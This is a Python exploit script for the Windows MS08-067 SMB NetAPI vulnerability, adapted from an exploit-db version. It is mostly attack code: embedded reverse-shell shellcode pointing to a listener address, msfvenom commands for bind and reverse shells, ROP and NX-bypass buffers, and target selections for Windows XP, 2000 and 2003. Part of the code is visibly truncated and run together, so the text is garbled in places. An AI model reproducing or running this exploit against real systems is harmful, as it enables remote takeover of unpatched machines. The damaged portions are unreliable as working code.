#!/usr/bin/env python import struct import time import sys from threading import Thread # Thread is imported incase you would like to modify try: from impacket import smb from impacket import uuid #from impacket.dcerpc import dcerpc from impacket.dcerpc.v5 import transport except ImportError: print('Install the following library to make this script work') print('Impacket : https://github.com/CoreSecurity/impacket.git') print('PyCrypto : https://pypi.python.org/pypi/pycrypto') sys.exit(1) print ('#######################################################################') print ('# MS08-067 Exploit') print ('# This is a modified verion of Debasis Mohanty\'s code (https://www.exploit-db.com/exploits/7132/).') print ('# The return addresses and the ROP parts are ported from metasploit module exploit/windows/smb/ms08_067_netapi') print ('#') print ('# Mod in 2018 by Andy Acer') print ('# - Added support for selecting a target port at the command line.') print ('# - Changed library calls to allow for establishing a NetBIOS session for SMB transport') print ('# - Changed shellcode handling to allow for variable length shellcode.') print ('#######################################################################\n') print (''' $ This version requires the Python Impacket library version to 0_9_17 or newer. $ $ Here's how to upgrade if necessary: $ $ git clone --branch impacket_0_9_17 --single-branch https://github.com/CoreSecurity/impacket/ $ cd impacket $ pip install . ''') print('#######################################################################\n') # ------------------------------------------------------------------------ # REPLACE THIS SHELLCODE with shellcode generated for your use # Note that length checking logic follows this section, so there's no need to count bytes or bother with NOPS. # # Example msfvenom commands to generate shellcode: # msfvenom -p windows/shell_bind_tcp RHOST=10.11.1.229 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows # msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.157 LPORT=443 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows # msfvenom -p windows/shell_reverse_tcp LHOST=10.11.0.157 LPORT=62000 EXITFUNC=thread -b "\x00\x0a\x0d\x5c\x5f\x2f\x2e\x40" -f c -a x86 --platform windows # Reverse TCP to 192.168.119.204 port 62000: shellcode=( "\x29\xc9\x83\xe9\xaf\xe8\xff\xff\xff\xff\xc0\x5e\x81\x76\x0e" "\xae\xc3\xb5\x92\x83\xee\xfc\xe2\xf4\x52\x2b\x37\x92\xae\xc3" "\xd5\x1b\x4b\xf2\x75\xf6\x25\x93\x85\x19\xfc\xcf\x3e\xc0\xba" "\x48\xc7\xba\xa1\x74\xff\xb4\x9f\x3c\x19\xae\xcf\xbf\xb7\xbe" "\x8e\x02\x7a\x9f\xaf\x04\x57\x60\xfc\x94\x3e\xc0\xbe\x48\xff" "\xae\x25\x8f\xa4\xea\x4d\x8b\xb4\x43\xff\x48\xec\xb2\xaf\x10" "\x3e\xdb\xb6\x20\x8f\xdb\x25\xf7\x3e\x93\x78\xf2\x4a\x3e\x6f" "\x0c\xb8\x93\x69\xfb\x55\xe7\x58\xc0\xc8\x6a\x95\xbe\x91\xe7" "\x4a\x9b\x3e\xca\x8a\xc2\x66\xf4\x25\xcf\xfe\x19\xf6\xdf\xb4" "\x41\x25\xc7\x3e\x93\x7e\x4a\xf1\xb6\x8a\x98\xee\xf3\xf7\x99" "\xe4\x6d\x4e\x9c\xea\xc8\x25\xd1\x5e\x1f\xf3\xab\x86\xa0\xae" "\xc3\xdd\xe5\xdd\xf1\xea\xc6\xc6\x8f\xc2\xb4\xa9\x3c\x60\x2a" "\x3e\xc2\xb5\x92\x87\x07\xe1\xc2\xc6\xea\x35\xf9\xae\x3c\x60" "\xc2\xfe\x93\xe5\xd2\xfe\x83\xe5\xfa\x44\xcc\x6a\x72\x51\x16" "\x22\xf8\xab\xab\x75\x3a\xd9\x0f\xdd\x90\xae\x31\x85\x1b\x48" "\xa9\xa5\xc4\xf9\xab\x2c\x37\xda\xa2\x4a\x47\x2b\x03\xc1\x9e" "\x51\x8d\xbd\xe7\x42\xab\x45\x27\x0c\x95\x4a\x47\xc6\xa0\xd8" "\xf6\xae\x4a\x56\xc5\xf9\x94\x84\x64\xc4\xd1\xec\xc4\x4c\x3e" "\xd3\x55\xea\xe7\x89\x93\xaf\x4e\xf1\xb6\xbe\x05\xb5\xd6\xfa" "\x93\xe3\xc4\xf8\x85\xe3\xdc\xf8\x95\xe6\xc4\xc6\xba\x79\xad" "\x28\x3c\x60\x1b\x4e\x8d\xe3\xd4\x51\xf3\xdd\x9a\x29\xde\xd5" "\x6d\x7b\x78\x55\x8f\x84\xc9\xdd\x34\x3b\x7e\x28\x6d\x7b\xff" "\xb3\xee\xa4\x43\x4e\x72\xdb\xc6\x0e\xd5\xbd\xb1\xda\xf8\xae" "\x90\x4a\x47" ) # ------------------------------------------------------------------------ # Gotta make No-Ops (NOPS) + shellcode = 410 bytes num_nops = 410 - len(shellcode) newshellcode = "\x90" * num_nops newshellcode += shellcode # Add NOPS to the front shellcode = newshellcode # Switcheroo with the newshellcode temp variable #print "Shellcode length: %s\n\n" % len(shellcode) nonxjmper = "\x08\x04\x02\x00%s" + "A" * 4 + "%s" + \ "A" * 42 + "\x90" * 8 + "\xeb\x62" + "A" * 10 disableNXjumper = "\x08\x04\x02\x00%s%s%s" + "A" * \ 28 + "%s" + "\xeb\x02" + "\x90" * 2 + "\xeb\x62" ropjumper = "\x00\x08\x01\x00" + "%s" + "\x10\x01\x04\x01"; module_base = 0x6f880000 def generate_rop(rvas): gadget1 = "\x90\x5a\x59\xc3" gadget2 = ["\x90\x89\xc7\x83", "\xc7\x0c\x6a\x7f", "\x59\xf2\xa5\x90"] gadget3 = "\xcc\x90\xeb\x5a" ret = struct.pack(' 00 00 01 36 => 310. No idea why it's "doubled" # from 310 to 620. 620 = 410 shellcode + extra stuff in the path. MaxCount = "\x36\x01\x00\x00" # Decimal 310. => Path length of 620. Offset = "\x00\x00\x00\x00" ActualCount = "\x36\x01\x00\x00" # Decimal 310. => Path length of 620 self.__stub = server + MaxCount + Offset + ActualCount + \ path + "\xE8\x03\x00\x00" + prefix + "\x01\x10\x00\x00\x00\x00\x00\x00" return def run(self): self.__DCEPacket() self.__dce.call(0x1f, self.__stub) time.sleep(3) print('Exploit finish\n') if __name__ == '__main__': try: target = sys.argv[1] os = sys.argv[2] port = sys.argv[3] except IndexError: print('\nUsage: %s \n' % sys.argv[0]) print('Example: MS08_067_2018.py 192.168.1.1 1 445 -- for Windows XP SP0/SP1 Universal, port 445') print('Example: MS08_067_2018.py 192.168.1.1 2 139 -- for Windows 2000 Universal, port 139 (445 could also be used)') print('Example: MS08_067_2018.py 192.168.1.1 3 445 -- for Windows 2003 SP0 Universal') print('Example: MS08_067_2018.py 192.168.1.1 4 445 -- for Windows 2003 SP1 English') print('Example: MS08_067_2018.py 192.168.1.1 5 445 -- for Windows XP SP3 French (NX)') print('Example: MS08_067_2018.py 192.168.1.1 6 445 -- for Windows XP SP3 English (NX)') print('Example: MS08_067_2018.py 192.168.1.1 7 445 -- for Windows XP SP3 English (AlwaysOn NX)') print('') print('FYI: nmap has a good OS discovery script that pairs well with this exploit:') print('nmap -p 139,445 --script-args=unsafe=1 --script /usr/share/nmap/scripts/smb-os-discovery 192.168.1.1') print('') sys.exit(-1) current = SRVSVC_Exploit(target, os, port) current.start()